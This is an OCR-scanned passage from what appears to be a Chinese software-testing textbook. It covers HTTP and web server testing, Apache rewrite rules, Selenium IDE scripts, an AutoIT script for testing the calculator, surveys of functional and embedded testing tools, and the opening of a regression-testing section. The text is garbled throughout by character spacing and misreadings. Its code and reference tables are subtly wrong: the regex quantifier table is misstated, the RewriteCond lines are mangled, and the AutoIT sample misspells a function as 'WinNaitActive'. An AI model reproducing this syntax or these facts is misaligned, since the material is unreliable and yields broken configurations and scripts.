Web 服务 器 支持 虚拟 主机 支持 通用 网 关 接 口 (Common Gateway Interface,CGI)、 具 有 用 户 
会 话 过 程 的 跟踪 能 力 等 。 一 般 还 要 求 Web 服务 器 与 脚本 语言 (如 PHP、Perl、Python、Tcl) 集 
成 ,支持 Java Servlets 支持 代理 (Proxy) ,高 速 缓存 (Caching) 、URL 重 定向 (Rewrite) ,地 址 过 
滤 等 特性 。 所 有 这 些 特 性 都 需要 测试 来 进行 验证 。 

要 验证 HTTP ,就 需要 参考 相应 的 标准 , 即 ， 

RFC2616 Hypertext Transfer Protocol ~ HTTP/1.1 

RFC2617 HTTP Authentication( 认 证 ): Basic and Digest Access Authentication 


RFC2965 HTTP State Management Mechanism( 状 态 管理 机 制 ) 
RFC3986 Uniform Resource Identifier (统一 资源 标识 , URI) : Generic Syntax 


例如 ,针对 RFC2616 HTTP/1. 1, 就 要 验证 下 列 基本 命令 。 


GET 
OPTIONS 
HEAD 
POST 
PUT 
DELETE 
TRACE 
CONNECT 


这 时 就 需要 构造 一 个 测试 工具 ,相当 于 浏览 器 的 模拟 器 ,建立 连接 (CONNECT) 并 以 不 同 
方式 (GET/ POST/HEAD) 和 选项 (OPTIONS) 发 送 请 求 , 来 测试 Web 服务 器 的 响应 。 

再 比如 测试 重 定向 (Rewrite) ,不 仅 要 测试 其 不 同方 式 一 一 服务 器 级 别 的 (在 httpd. conf 
配置 ) 和 目录 级 的 (在 . htaccess 中 配置 ) ,而 且 还 要 测试 重 定向 规则 支持 正则 表达 式 ,这 个 测试 
工作 量 也 比较 大 。 例 如 ,要 将 119. 75. 213. 61 和 baidu. com 等 各 种 地 址 都 重 定向 为 www. 
baidu. com ,那么 在 httpd. conf 配置 : 


RewriteEngine on RewriteCond % {HTTP HOST} “baidu. com [NC] 
RewriteCond % {HTTP_HOST} ^119.75.213.61 [NC] RewriteRule ^(. * ) http://www. baidu. com/ [L] 


然后 进行 测试 ,以 验证 是 否 完成 正确 的 重 定 向 。 当 然 , 还 可 以 构造 更 复杂 的 正则 表达 式 进 
行 验证 。 


正则 表达 式 基 本 约定 
文本 : 
。 任意 一 个 单字 符 
[chars] 字符 类 : "chars" 中 的 任意 一 个 字符 
[^chars] 字符 类 : 不 在 "chars" 中 的 字符 
textl|text2 选择 : textl 或 text2 


量词 : 

? 前 面 的 字符 出 现 0 或 1 次 

% 前 面 的 字符 出 现 0 或 NW 次 (N > 0) 

+ 前 面 的 字符 出 现 1 或 次 (N>1) 
分 组 : 

(text) text 组 (常用 于 设置 一 个 选择 的 边界 或 生成 后 引用 ) 
锚 : 

只 锚 定 到 行 首 

$ 锚 定 到 行 尾 
转 义 

\c 对 给 定 的 字符 c 进行 转 义 


关于 重 定向 的 更 详细 内 容 , 可 以 参考 : 

http://httpd. apache. org/docs/2.2/mod/mod_rewrite. html 

http://lamp. linux. gov. cn/Apache/ApacheMenu/mod/mod_rewrite. html 

在 服务 器 测试 过 程 中 ,如 果 发 现 了 问题 ,一 般 可 以 查 Log 来 帮助 隔离 问题 ,从 而 能 准确 地 
报告 问题 。 例 如 ,Apache 服务 器 日 志 内 容 , 可 以 参考 ， 


http://httpd. apache. org/docs/2.2/1ogs. html 
http://lamp. linux. gov. cn/Apache/ApacheMenu/logs. html 


6.1.3 一 套 Web 功能 测试 工具 


在 Web 功能 测试 工具 中 ,有 比较 多 的 开源 测试 工具 ,如 Canoo WebTest、WatiR、WatiN、 
Watij \Selenium 等 ,也 还 有 一 些 商 业 的 Web 测试 工具 ,如 Parasoft WebKing 和 SOATest、 
Compuware WebCheck 等 。 例 如 ,Parasoft WebKing 能 够 测试 每 一 个 静态 和 动态 网 页 ,检查 
动态 网 站 中 所 有 可 能 的 路 径 , 并 能 很 好 地 支持 AJAX 应 用 的 测试 ,自动 监视 动态 页 面 内 容 的 
规则 ,并 发 现 其 中 的 构造 错误 和 其 他 问题 。 同 时 WebKing 能 够 完成 HTML、CSS 和 
JavaScript 编码 标准 检查 ,还 检查 所 有 的 链接 ,检查 中 断 的 链 和 孤立 的 文件 ,记录 有 关 网 站 使 
用 的 各 类 文件 的 统计 信息 。 下 面 以 Selenium 为 例 ,详细 介绍 其 原理 和 使 用 。 

Selenium (http://seleniumhq. org/) 是 ThoughtWorks 专门 为 Web 应 用 而 开发 的 自动 
化 测试 工具 集 ,适合 进行 功能 测试 ,验收 测试 。Selenium 由 几 个 测试 工具 承担 不 同 的 角色 ,从 
而 构成 一 个 针对 Web 应 用 的 、 完 整 的 自动 化 测试 解决 方案 ,如 图 6-1 所 示 。 

(1) Selenium IDE( 集 成 开发 环境 ) ,Firefox 的 插件 (Plug-in) ,可 以 录制 .回放 并 编辑 测试 
脚本 ,是 Selenium 脚本 的 开发 平台 。 

(2) Selenium Core( 核 心 ) 是 符合 断言 (Assertion) 机 制 的 ,测试 套件 执行 的 平台 。 它 是 整 
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6-1 Selenium 工具 的 构成 关系 


个 Selenium 测试 机 制 的 核心 部 分 ,由 纯 JavaScript 代码 组 成 ,负责 具体 测试 任务 的 执行 。 

(3) Selenium Webdriver 能 从 本 地 或 远程 驱动 相应 的 浏览 器 。 

(4) Selenium Server stardalone( 早 期 的 Remote Contro()): 一 个 代理 与 控制 端 ,代替 
Selenium Core/ Selenium IDE 的 客户 端 ,从 而 可 以 在 远程 机 器 上 执行 测试 任务 ,并 支持 多 种 
脚本 语言 ,如 Java、. NET Perl、Python 和 Ruby。 

(5) Selenium Grid 可 以 并 行 地 运行 多 个 Selenium RC(server) 的 实例 ,从 而 在 分 布 式 环境 
中 同时 运行 多 个 测试 任务 ,并 能 在 一 台 机 器 上 控制 这 些 任 务 的 执行 , 极 大 地 加 快 Web 应 用 的 
功能 测试 。 


Selenium 的 主要 优势 如 下 。 
(1) 适合 Web 应 用 的 测试 ,可 直接 运行 在 浏览 器 之 上 ,所 见 即 所 得 ,因为 Selenium 的 核心 
是 用 JavaScript 编写 的 。 


(2) 跨 平 台 , 支持 多 操作 系统 (Windows，Mac OS 和 Linux) 和 各 种 浏览 器 Internet 
Explorer Mozilla 和 Firefox。 

(3) 支持 分 布 式 应 用 的 测试 ,构造 一 个 完整 的 解决 方案 ,包括 控制 器 、 远 程 测试 机 等 。 

(4) 支持 两 种 开发 脚本 的 模式 Test Runner (HTML 文件 ) 和 Driven( 脚 本 语言 编写 ) ,使 
测试 既 可 以 完全 在 浏览 器 内 运行 ,也 可 以 脱离 浏览 器 在 远程 机 器 上 运行 。 

(5) 支持 多 种 脚本 语言 ,包括 Java、C# .PHP、Perl、Python 和 Ruby 等 。 

首先 可 以 通过 Selenium IDE 进行 一 个 简单 的 测试 过 程 来 理解 自动 化 功能 测试 的 过 程 及 
其 特点 。 用 Firefox 直接 从 http://seleniumhq. org/projects/ide/ 下 载 Selenium IDE, 下 载 完 
成 后 ,浏览 器 会 自动 提示 安装 , 单 击 “ 立 即 安装 ”按钮 就 能 完成 安装 。 安 装 成 功 后 ,重启 
Firefox, 菜 单 “ 工 具 ” 下 会 出 现 Selenium IDE 命令 。 单 击 Selenium IDE 命令 ,启动 Selenium 
IDE, 出 现 主 界面 ,可 以 展开 左边 Test Case 窗口 ,默认 是 不 展开 的 ,展开 后 的 界面 如 图 6-2 所 
示 , 包 括 : 

(1) 基准 网 页 地 址 (Base URL) ,被 测试 网 站 的 主 地 址 ; 

(2) 脚本 窗口 ,显示 某 个 测试 用 例 的 脚本 ; 

(3) 命令 (Command/Target/Value) 显 示 和 编辑 的 窗口 (脚本 窗口 下 面 )。 
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6-2 Selenium IDE 界面 


1. 录制 测试 脚本 

打开 Selenium IDE, 默 认 就 处 在 录制 状态 ,如 果 不 是 ,就 单 击 * 录 制 ? 按 钮 @|。 去 Firefox 
打开 Google 首页 www. google. cn( 这 也 作为 Base URL) ,输入 “用 Selenium 进行 自动 化 测 
试 ”, 单 击 “Google 搜索 ”按钮 ,进入 搜索 结果 页 面 , 然 后 选择 搜索 结果 页 面 中 的 “搜索 软件 测试 
方法 和 技术 ”获得 约 ” 后 的 值 *8 960 000”, 单 击 右键 ,如 图 6-3 所 示 , 选 择 倒数 第 3 项 
“verifyTextPresnt 8 960 000”, 即 验证 搜索 数量 “8 960 000? 在 搜索 结果 中 出 现 。 
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图 6-3 ”对 搜索 结果 进行 验证 操作 界面 
同样 ,选择 “0. 30 秒 ” 进 行 验证 。 测 试 本 身 就 是 验证 的 过 程 ,通过 期 望 结 果 和 实际 结果 比 
较 ,才能 判断 是 否 会 出 现 缺 陷 。 然 后 单 击 Selenium IDE 的 @| 按 钮 .结束 录制 。 录制 的 脚本 可 
以 在 脚本 窗口 中 浏览 。 


2. 执行 测试 脚本 

完成 了 脚本 录制 ,就 可 以 执行 脚本 (也 称 脚 本 回放 )。 先 将 回放 速度 调整 慢 些 , 从 而 使 执行 
过 程 看 得 更 清楚 些 , 即 将 属于 一 2 中 绿色 浮标 向 Slow 移动 。 然 后 , 单 击 p 引 按钮 ,就 开始 执 
行 脚 本 。 就 会 看 到 浏览 器 自动 打开 www. google. cn 的 首页 ,自动 输入 “软件 测试 方法 和 技 
术 ”, 搜 索 结果 页 面 很 快 显示 出 来 ,脚本 执行 结束 。 

3. 测试 结果 

运行 结果 如 图 6-4 所 示 , 从 中 可 以 看 出 ,前 面 两 个 验证 通过 ,包括 assertTitle 判断 窗口 是 
否 存 在 ,显示 为 绿色 ,而 第 三 个 验证 “verifyTextPresent 0. 30 秒 ” 失 败 , 显 示 为 红色 。 为 什么 失 
败 呢 ? 因为 Google 每 次 搜索 用 时 是 不 一 样 的 ,再 次 执行 脚本 的 时 候 , 用 时 只 要 0. 11 秒 , 会 显 
示 “ 搜 索 用 时 0. 11 秒 ” ,导致 第 三 个 验证 失败 。 查 日 志 . 可 以 看 到 红色 的 信息 “*[error] false”， 
说 明 验 证 失败 。 
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图 6-4 运行 结果 


从 Firefox 中 打开 Selenium IDE, 单 击 工 具 栏 中 的 Play with Selenium TestRunner 按钮 
,IDE 就 将 TestRunner 运行 起 来 。 其 中 上 面 有 左 、 中 、 右 三 个 窗口 ,分 别 为 测试 套件 (Test 
Suite) ,当前 测试 (Current Test) ,控制 面板 (Control Panel); 下 面 只 有 一 个 窗口 ,为 测试 执行 
页 面 显 示 区 域 (Execution Area)。 

4. Selenium test runner 脚本 


Selenium test runner 脚本 ,就 是 用 HTML 中 简单 的 表格 格式 来 编写 的 测试 用 例 , 所 以 
test runner 脚本 不 仅 易 于 阅读 ,也 易于 编写 。Selenium 脚本 的 开发 也 是 比较 灵活 的 ,不 仅 提 
供 了 几 百 个 命令 ,而且 也 可 以 在 脚本 中 引用 其 他 文件 (类 似 于 C 语言 的 头 文件 ) ,如 表 6-1 第 1 
行 的 include 的 使 用 ; 还 可 以 使 用 变量 ,如 表 6-1 中 的 $ {Site_URL}、$ {userName)} 和 
$ {password}) ,这 可 以 解决 测试 输入 数据 问题 。 例 如 用 户 名 和 口令 就 不 需要 放 在 脚本 中 ,而 是 


单独 存 人 一 个 文件 中 ,如 表 6-2 所 示 。 
表 6-1 Selenium 测试 脚本 (引用 文件 和 变量 ) 


Command/ Assertion Target Value 
include ../../ common/SetVariable. html 
open $ {Site_URL} 
pause 2000 
selectWindow Header 
waitForTextPresent Logon 
click //a[Lcontains(@href，'javascript:Logon();))] 
selectWindow mainFrame 
waitForTextPresent userName 
type userName $ {userName} 
type Password $ {password} 
clickAndWait //input[@name= 'Submit'] 
verifyTextPresent Logon Success 


表 6-2 common/SetVariable. html 的 内 容 


设置 变量 的 值 (Set variable) 
storeGlobal cn. calendar. yahoo. com siteURL 
echo $ {siteURL)} 
storeGlobal testuser userName 
storeGlobal 1234567 password 


5. Selenium 驱动 模式 脚本 

Selenium 驱动 模式 脚本 支持 多 种 编程 语言 ,在 浏览 器 之 外 的 一 个 单独 的 进程 中 运行 。 
Driven 脚本 比 test runner 脚本 更 强大 、 更 灵活 ,可 以 与 xUnit 框架 集成 ,但 是 Driven 脚本 编写 
和 部 署 相对 复杂 ,需要 经 过 下 列 过 程 。 

(1) 启动 服务 器 ,并 部 署 被 测试 的 应 用 程序 (AUT) 。 

(2) 部 署 测试 脚本 。 

(3) 启动 浏览 器 ,发送 命令 到 browser bot。 

(4) 验证 browser bot 执行 命令 的 结果 。 

Driven 脚本 更 依赖 于 应 用 程序 运行 的 环境 。 例 如 ,Java 驱动 程序 使 用 一 个 嵌入 式 Jetty 
或 Tomcat 实例 来 部 署 所 测试 的 应 用 程序 。browser bot 就 是 Selenium Core ,负责 执 行 从 测试 
脚本 接收 到 的 命令 ,而 驱动 程序 与 browser bot 之 间 的 通信 使 用 一 种 简单 的 .特定 的 连接 语言 
Selenese。 

6. Selenium 测试 用 例 开发 

测试 用 例 开发 涉及 4 类 文件 ,除了 引擎 库 以 外 ,其 他 三 类 文件 都 是 可 以 根据 具体 情况 去 修 
改 的 。 

(1) 主 文件 : TestRunner. html/TestRunner. hta(. hta 文件 是 HTML application, Windows 
平台 特有 )。 

(2) Test suite( 测 试 套件 ) 和 Test case( 测 试用 例 ) 文 件 ,通过 以 表格 为 基础 的 HTML 文 


件 来 实现 ; 测试 套件 用 于 将 具有 类 似 功 能 的 一 些 测试 用 例 编 成 一 组 ,以 便 能 按 顺序 执行 一 系 
列 的 测试 用 例 。 

(3) 引擎 库 js 文件 : 位 于 Selenium 根 目录 下 的 核心 文件 ,其 中 html-xpath 目录 下 的 那个 
文件 一 一 所 需 的 库 文件 。 

(4) user-extensions. js: 用 来 扩展 Selenium 的 文件 ; 用 户 自 定义 的 函数 和 扩展 的 命令 都 
应 该 放 在 这 个 文件 中 。 

Selenium 部 署 完毕 后 ,可 以 通过 浏览 器 URL 来 访问 TestRunner.html 文 件 。 由 
TestRunner. html 调用 相应 目录 下 的 测试 套件 一 一 TestSuite. html。 测 试 套件 也 是 HTML 
格式 的 表 , 表 中 的 每 一 行 指向 一 个 包含 某 个 测试 用 例 的 文件 。 再 由 TestSuite. html 调用 相应 
的 测试 用 例 ( 测 试 脚本 ) 执 行 测试 。 可 以 修改 TestSuite. html 文件 ,让 其 指向 自己 开发 的 Test 
case HTML 文件 ,如 表 6-3 所 示 , 定 义 全 局 变量 的 setVariablel. html 和 两 个 测试 用 例 的 文件 


login. html 和 logout. html。 


表 6-3 ”测试 套件 的 HTML 文件 示例 


选择 名 称 对 应 的 测试 用 例 脚 本 文件 
区 SetVariable ../../ common/SetVariable. html 
区 login .. /module/login/login. html 

vy logout .. /module/login/logout. html 


6.1.4 AutoIT 及 其 客户 端 测 试 工具 


先 通过 工具 AutolT 来 完成 一 个 Windows 客户 端的 测试 程序 ,了 解 客户 端的 测试 程序 特 
征 , 然 后 介绍 其 他 类 似 的 客户 端 测试 工具 。 


1. AutolIT 应 用 


AutolT(http://www. autoitscript. com/) 适 合 Windows 客户 端的 功能 测试 ,能 够 模拟 按 
键 组 合 、 鼠 标 动作 ,识别 和 操纵 Windows 窗口 和 进程 ,与 所 有 标准 Windows 控件 交互 ,从 而 实 
现 Windows 的 测试 自动 化 。 采 用 类 似 于 VBScript 和 BASIC 的 脚本 语言 ,同时 支持 更 加 复杂 
的 表达 式 ( 包 括 正 则 表达 式 ) 、 用 户 函 数 、 直 接 调 用 外 部 DLL 和 Windows API 的 函数 ,脚本 可 
编译 成 独立 运行 的 可 执行 文件 。 
AutolT 安装 后 ,主要 程序 及 其 功能 说 明 如 表 6-4 所 示 。 
表 6-4 AutoIT 主要 程序 及 其 功能 说 明 


文件 与 目录 详细 信息 
Autolt3. exe 主 程 序 ,可 以 解释 运行 UniCode 版 本 的 脚本 文件 
Autolt3A. exe 主 程序 ,可 以 解释 运行 ANSI 版 本 的 脚本 文件 
AU3Info. exe Anutolt 窗口 信息 工具 (Autolt Window Info Tool) ,识别 GUI 对 象 
Aut2Exe/Aut2ExeA. exe | 用 于 将 au3 脚本 (UniCode/ANSI 版 本 ) 编 译 成 exe 可 执行 文件 
Include 官方 提供 的 库 文件 ,提供 开发 脚本 时 所 需 的 各 种 函数 
i 可 以 被 嵌入 到 其 他 工具 和 语言 中 去 ,包含 DLL 版 本 的 Autolt v3 以 及 
ActiveX/COM 和 DLL 界面 
SciTe AutoIT 的 脚本 编辑 器 


AutoIT 应 用 过 程 可 以 概括 为 下 面 几 个 步骤 。 


(1) 借助 窗口 信息 工具 识别 被 测试 软件 的 窗口 ,控件 等 ,如 图 6-5 所 示 。 
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图 6-5 识别 窗口 和 控件 的 方法 
(2) 通过 AutolIT 提供 的 函数 来 操作 窗口 和 控件 ,常用 的 命令 有 WinActivate、WinMove、 
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WinClose、 ControlFocus、 ControlClick、 ControlCommand、 ControlSend、 


MouseClickDrag 等 。 例 如 : 


ControlClick(" 计 算 器 "，""，"[CLASS:Button; TEXT:"CE"; INSTANCE:82]") 


(3) 然后 ,增加 验证 点 ,来 检验 是 否 获 得 期 望 的 结果 。 验 证 函数 有 WinGetPos WinGetState、 


WinExists`WinGetTitle WinGet Text .ControlGetPos FileExists ,FileGetSize 等 。 


下 面 给 出 对 计算 器 进行 测试 的 一 个 脚本 示例 。 


If WinExists(" 计 算 器 ") == 0 Then 
Run("calc. exe") 
Endif 
WinNaitActive(" 计 算 器 ") 
ControlClick(" 计 算 器 ","","1") 
ControlClick(" 计 算 器 ","","+") 
ControlClick(" 计 算 器 ","","2") 
ControlClick(" 计 算 器 ","","=") 
$ Result = ControlGetText(" 计 算 器 ", "", 403) 
sleep(1000) 
If $ Result== "3. " Then 
FileWriteLine("c:\result. txt", "正确 : 和 期 望 结果 3 一致 ") 
Else 


FileWriteLine("c:\result. txt", "错误 : 和 期 望 结 果 3 不一致 , 实际 计算 结果 为 " & $ Result) 


EndIf 


ControlClick(" 计 算 器 ",""," CE ") 
If $ Result <>"0. " Then 
FileWriteLine("c:\result. txt", "错误 : 没有 清 零 ") 
EndIf 
sleep(1000) 
WinClose( "计算 器 ") 


2. 其 他 开源 的 功能 测试 工具 

(1) Twist(http://studios. thoughtworks. com/twist) 是 新 一 代 协 作 功 能 测试 平台 ,为 测 
试 的 评审 ,执行 和 维护 提供 了 丰富 的 环境 支持 ,可 以 为 开发 团队 的 各 个 角色 服务 。 

(2) AutoHotKey(http://ahkbbs. cn/Help/) 是 Windows 平台 下 开放 源 代码 的 热 键 脚本 
语言 ,包括 可 以 记录 键盘 和 鼠标 的 任何 操作 ,创建 自 定义 的 数据 输入 表格 、 用 户 界面 和 菜单 栏 ， 
并 能 将 任何 的 脚本 转换 为 EXE 文件 等 。 

(3) Abbot 一 一 Java 客户 端 功能 测试 工具 ,可 基于 XML/Java 实施 用 户 界面 测试 的 脚本 。 
详细 参考 http://abbot. sourceforge. net/doc/overview. shtml。 

(4) Squish(http://squish. froglogic. com) 是 跨 平台 (Windows/Linux/Mac) 的 、 专 业 性 的 
功能 测试 工具 ,具有 很 强 的 自动 建立 和 执行 GUI 测试 的 功能 。 支 持 Java SWT/RCP 和 
AWT/Swing( 富 客户 端 ) 应 用 、Web 2.0/AJAX 应 用 、Mac OS X Carbon/Cocoa 应 用 和 其 他 类 
型 的 应 用 。 

(5) STAF(Software Testing Automation Framework) 是 一 个 由 Python 和 XML 构建 
的 、 支 持 多 平台 和 多 语言 的 功能 测试 框架 ,包含 许多 可 重用 组 件 , 如 图 形 化 监控 执行 引 擎 ,过 
程 调用 和 资源 管理 等 。 

(6) 其 他 开源 功能 测试 工具 ,如 Sahi、WeblInject、 Tagit、Solex、Imprimatur、 Link Sleuth 
等 ,可 参考 http://www. opensourcetesting. org/functional. php。 

3. 商业 的 功能 测试 工具 

(1) HP Unified Functional Testing (Quick Test Professional) 属于 业界 领先 的 测试 工 
具 , 实 现 对 多 层次 测试 场合 中 的 测试 进行 自动 化 ,包括 GUI 和 API 测试。HP UFT 具有 良好 
的 可 视 用 户 体验 ,能 轻松 地 将 手动 测试 转 为 自动 测试 ,并 采用 惠普 特有 的 HP UFT Insight 对 
象 识别 技术 ,能 适应 不 同 的 软件 技术 。 

(2) IBM Rational Functional Tester 是 Robot 的 Java 实现 版 本 ,被 移植 到 了 Eclipse 平 
台 , 完 全 支持 Java 和 . NET 的 应 用 程序 的 测试 ,脚本 语言 支持 VB. NET 和 Java。 

(3) Compuware Test Partner 是 为 测试 基于 Windows Java 和 Web 技术 的 复杂 应 用 而 设 
计 , 可 以 使 用 可 视 的 脚本 编制 和 自动 向 导 来 生成 可 重复 的 测试 ,用 户 可 以 调用 VBA 的 所 有 功 
能 ,并 进行 任何 水 平 层次 和 细节 的 测试 。 其 脚本 开发 采用 通用 的 、 分 层 的 方式 来 进行 ,而 每 一 
个 测试 可 以 被 展示 为 树 状 结构 ,以 清楚 地 显现 测试 通过 应 用 的 路 径 。 

(4) Segue SilkTest 是 面向 各 种 应 用 系统 的 功能 测试 工具 ,提供 了 用 于 测试 的 创建 和 定制 
的 工作 流 设置 测试 计划 和 管理 、 直 接 的 数据 库 访 问 及 校 验 等 功能 ,使 用 户 能 够 高 效率 地 进行 
软件 自动 化 测试 。 在 测试 脚本 的 生成 过 程 中 ,SilkTest 通过 动态 录制 技术 ,录制 用 户 的 操作 过 
程 ,快速 生成 测试 脚本 。 

(5) AdventNet QEngine 是 一 个 独立 于 平台 的 、 通 用 的 测试 工具 ,可 用 于 Web 功能 和 性 


能 测试 Java 应 用 功能 测试 和 性 能 测试 .SOAP 测试 等 。 

(6) Oracle Empirix e-Test Suite 是 一 套 简单 易 用 的 网 站 测试 工具 ,包括 三 个 主要 工具 
e-TESTER、e-LOAD 和 e-MONITOR ,分 别 实施 功能 测试 、 负 和 载 测试 和 性 能 监控 。 每 个 工具 
可 以 独立 使 用 ,也 可 以 协同 使 用 。 其 中 , Web 应 用 程序 性 能 监控 工具 onesight 能 够 针对 Web 
系统 内 部 及 外 部 元 素 进行 监控 ,收集 网 络 信息 情况 和 错误 信息 并 生成 可 用 情况 地 图 以 显示 一 
个 网 络 及 其 服务 哪些 是 正常 的 ,从 而 探测 性 能 降低 的 原因 。 而 网 络 分 析 工 具 hammer call 
analyzer 能 够 使 用 户 看 得 见 在 voip 网 络 中 信号 和 语音 的 品质 问题 ,为 任何 的 呼叫 显示 波形 和 
流 的 品质 签名 ,可 以 发 现 通信 交换 设备 间 出 现 的 问题 。 


6.1.5 矢 入 式 测试 工具 


嵌入 式 系统 软件 的 测试 相对 困难 ,因为 它 的 开发 是 用 交叉 编译 方式 进行 的 。 在 目标 机 
(Target) 上 ,不 可 能 有 多 余 的 空间 记录 测试 的 信息 ,必须 实时 地 将 测试 信息 通过 网 线 / 串 口传 
到 宿主 机 (Host) 上 ,并 实时 在 线 地 显示 。 因 此 ,对 源 代码 的 插 装 和 目标 机 上 的 信息 收集 与 回 
传 成 为 嵌入 式 测试 工具 要 解决 的 关键 问题 。 

(1) CodeTest 是 Applied Microsystems 公司 的 产品 ,是 广泛 应 用 的 嵌入 式 软件 在 线 测 试 
工具 。CodeTest 为 追踪 嵌入 式 应 用 程序 .分 析 软 件 性 能 、 测 试 软件 的 覆盖 率 以 及 存储 体 的 动 
态 分 配 等 提供 了 一 个 实时 在 线 的 高 效率 解决 方案 。CodeTest 能 够 同时 对 多 达 32 000 个 函数 
进行 非 采样 性 测试 ,精确 计算 出 每 个 函数 或 任务 (基于 RTOS 下 ) 的 执行 时 间或 间隔 ,并 能 够 
列 出 其 最 大 和 最 小 的 执行 时 间 。CodeTest 还 可 以 按 源 程序 .控制 流 以 及 高 级 模式 来 追踪 嵌入 
式 软件 ,最 大 追踪 深度 可 达 150 万 条 源 程序 。CodeTest 还 是 一 个 可 共享 的 网 络 工 具 , 支 持 所 
有 的 32/16 位 CPU 和 MCU ,支持 总 线 频 率 高 达 100MHz, 可 通过 PCL/VME 总 线 ,MICTOR 
插头 对 嵌入 式 系统 进行 在 线 测试 ,无 须 改 动用 户 的 PCB, 与 用 户 系统 的 连接 方便 。 

(2) 英国 LDRA 公司 的 Testbed 提供 包括 编码 规则 检查 在 内 的 静态 分 析 和 动态 分 析 功 
能 ,可 以 直接 进行 测试 结果 验证 和 覆盖 率 度量 。 用 户 可 以 选择 编程 规则 的 最 大 集合 ,也 可 以 配 
置 用 户 自己 的 规则 集合 ,或 使 用 行业 认可 的 标准 ,例如 MISRA C/MISRA-C : 2004、AV C++、 
EADS C/C++ 、HC++ 等 ,从 而 快速 识别 出 违反 规则 的 代码 并 帮助 开发 人 员 快 速 地 进行 修正 。 
提高 设计 ,代码 评审 的 自动 化 程度 ,例如 ,对 所 有 过 程 的 参数 以 及 函数 的 全 局 变量 和 返回 值 进 
行 全 面 分 析 , 提 供 详 细 的 、 彩 色 的 函数 调用 关系 图 和 程序 控制 流程 图 ,以 可 视 化 的 方式 了 解 系 
统 的 复杂 性 ,并 自动 生成 报告 ,提供 软件 质量 文档 。Testbed 还 能 够 自动 生成 测试 驱动 而 不 需 
添加 脚本 , 随 着 源 代码 的 改变 ,对 需要 修改 的 测试 数据 进行 跟踪 和 报告 。 

(3) RTInsightPro 充分 考虑 到 嵌入 式 软件 实时 性 特点 ,结合 使 用 LDRA 公司 静态 分 析 与 
代码 自动 搬 装 技术 ,可 成 功用 于 实时 嵌入 式 系统 集成 与 系统 测试 ,提供 代码 覆盖 率 分 析 、 函 数 
性 能 分 析 内 存 泄 漏 分 析 、 变 量 监控 ,堆栈 监控 及 系统 跟踪 等 功能 。 采 用 RTInsightPro 高 速 虚 
拟 端口 技术 使 得 代码 插 装 量 可 控制 在 每 个 特征 点 ( 即 函 数 入口 .出 口 ,程序 分 支点 ) 一 或 两 条 指 
令 或 语句 (代码 增加 量 可 控制 在 10% 之 内 ) ,大 大 减少 插 装 代码 增加 对 被 测 系统 的 影响 。 

(4) IBM Rational Test RealTime(CRTRT) 帮 助 开 发 人 员 创 建 测试 脚本 执行 测试 用 例 和 
生成 测试 报告 ,包括 代码 覆盖 分 析 报告 ,内存 分 析 报告 ,性 能 分 析 报告 和 执行 追踪 报告 。 而 且 ， 
它 提供 对 被 测 代码 进行 静态 分 析 和 运行 时 分 析 功 能 ,使 嵌入 式 测试 实现 一 体 化 的 集成 。Test 
RealTime 通过 分 析 源 代码 ,自动 生成 测试 驱动 (Test Driver) 和 桩 (Test Stub) 模 板 ,通过 
Target Deployment Port 技术 同时 支持 开发 机 和 目标 机 的 测试 。 


(5) Logiscope 是 TeleLogic 公司 的 工具 套件 ,贯穿 于 软件 开发 .代码 评审 、 单 元 /集成 测 
试 、 系 统 测试 以 及 软件 维护 阶段 ,重点 是 帮助 代码 评审 和 动态 覆盖 测试 。 包 括 对 指令 (IB) 、. 逻 
辑 路 径 (DDP) 和 调用 路 径 (PPP) 的 覆盖 测试 。 此 外 ,对 安全 -关键 软件 还 提供 了 MC/DC 的 覆 
盖 测 试 。Logiscope 支持 各 种 实时 操作 系统 (如 VxWorks、pSOS、VRTX 等 ) 上 应 用 程序 的 测 
试 ,也 支持 逻辑 系统 的 测试 。 

(6) VectorCAST 扫描 嵌入 式 Ct+CEC++) 源 代码 ,自动 生成 测试 代码 来 为 主机 和 能 入 式 
环境 构造 可 执行 的 测试 架构 。VectorCAST 测试 系统 由 环境 生成 器 ,测试 用 例 生成 器 、 运 行 控 
制 器 报告 生成 器 ,动态 分 析 器 和 静态 分 析 器 等 组 件 组 成 。 使 用 VectorCAST 测试 系统 ,可 以 
保持 经 常 更 新 部 件 仿真 模型 。 

(7) GammaRay 系列 产品 主要 包括 软件 逻辑 分 析 仪 GalnmaPfiler、 可 靠 性 评测 工具 
GammaRET 等 。 

(8) LynxInsure 十 十 是 Lynx Real-Timesystems 公司 的 产品 ,基于 LynxOS 的 应 用 代码 检 
测 与 分 析 测 试 工具 ,包括 以 下 三 个 工具 。 

QO 源码 检测 工具 Insure 十 十 可 检查 初级 错误 .API 应 用 中 的 类 型 和 参数 错误 ,指针 和 数 
组 错误 ,字符 串 操作 错误 ; 

@ 内 存 检测 工具 Inuse, 可 查找 内 存 漏洞 检查 动态 内 存 的 分 配 等 ; 

@ 程序 的 覆盖 度量 工具 TCA ,可 提供 完全 的 覆盖 报告 。 

(9) MessageMaster 是 ElviorLtd 公司 的 产品 ,测试 嵌入 式 软件 系统 工具 ,向 环境 提供 基 
于 消息 的 接口 。 

(10) VeTester 由 国内 公司 自主 研发 ,服务 于 嵌入 式 白 盒 测试 领域 的 测试 工具 ,使 用 CSE 
脚本 语言 编写 测试 用 例 , 有 效 实施 针对 C 语言 的 单元 测试 ,集成 测试 与 协议 测试 ,而 且 , 可 以 
进行 持续 在 线 的 测试 ,包括 在 线 设计 用 例 、 运 行 用 例 ,并 根据 测试 结果 改进 或 添加 用 例 。 
VeTester 配合 VC 中 的 调试 程序 ,可 支持 目标 代码 设置 断 点 . 单 步 调试 。 


6.2 回归 测试 


无 论 在 进行 系统 测试 还 是 功能 测试 时 , 当 发 现 一 些 严重 的 缺陷 而 需要 修正 时 ,会 构造 一 个 
新 的 软件 包 (Full Build) 或 新 的 软件 补丁 包 (Patch) ,然后 进行 测试 。 这 时 的 测试 不 仅 要 验证 
被 修复 的 软件 缺陷 是 否 真 正 被 解决 了 ,而 且 要 保证 以 前 所 有 运行 正常 的 功能 依旧 保持 正常 ,而 
不 要 受到 这 次 修改 的 影响 。 因 为 ,虽然 已 发 现 的 程序 缺陷 被 修复 了 ,但 可 能 在 其 他 受 影响 的 区 
域 出 现 新 的 软件 缺陷 (这 样 的 缺陷 称 为 回归 人 缺陷) 。 如 果 这 时 没有 回归 测试 ,产品 就 带 着 这 样 
的 回归 缺陷 被 发 布 出 去 了 ,造成 严重 后 果 。 回 归 测试 就 是 为 了 发 现 回归 缺陷 而 进行 的 测试 。 


6.2.1 目的 


回归 测试 的 目的 是 在 程序 有 修改 的 情况 下 保证 原 有 功能 正常 的 一 种 测试 策略 和 方法 , 因 
